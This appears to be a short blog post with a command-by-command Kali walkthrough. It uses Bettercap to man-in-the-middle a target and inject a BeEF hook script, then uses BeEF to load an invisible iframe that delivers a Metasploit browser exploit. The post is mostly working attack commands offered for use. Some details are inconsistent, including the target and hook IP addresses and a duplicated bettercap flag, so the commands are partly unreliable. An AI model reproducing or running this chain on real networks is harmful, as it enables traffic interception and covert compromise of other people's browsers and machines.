MetaSploit, Bettercap, and BeEf

MetaSploit, Bettercap, and BeEf work well together. Below is the basic syntax I used in Kali. It assumes the default gateway is 192.168.1.1, the Kali host is 192.168.1.50, and the target is 192.168.100.

Start MetaSploit using msgrpc
root@KALI:~#msfconsole
msf >load msgrpc ServerHost=192.168.1.50 Pass=abc123

Start BeEF
root@KALI:~# cd /usr/share/beef-xss
root@KALI:~# ./beef

Copy the hook url from the resulting command output.
(Will look something like this:  http://192.168.1.100:3000/hook.js)

Start bettercap with the arguments to point the target machine to BeEF.
root@KALI:~# bettercap -T 192.168.1.1 -T 192.168.1.100 –proxy-module injectjs –js-url http://192.168.1.100:3000/hook.js

Open up the BeEF Admin URL by browsing to http://192.168.1.50:3000/ui/panel

Assuming a client is hooked, investigate the client to determine likely metasploit options.  Get metasploit. Use the “Create invisible iframe” command to spawn an invisible iframe to the URL of the metasploit exploit.

That’s it.

References:
https://www.metasploit.com/
https://www.bettercap.org/
http://beefproject.com/
https://sathisharthars.com/

Leave a Reply

Your email address will not be published. Required fields are marked *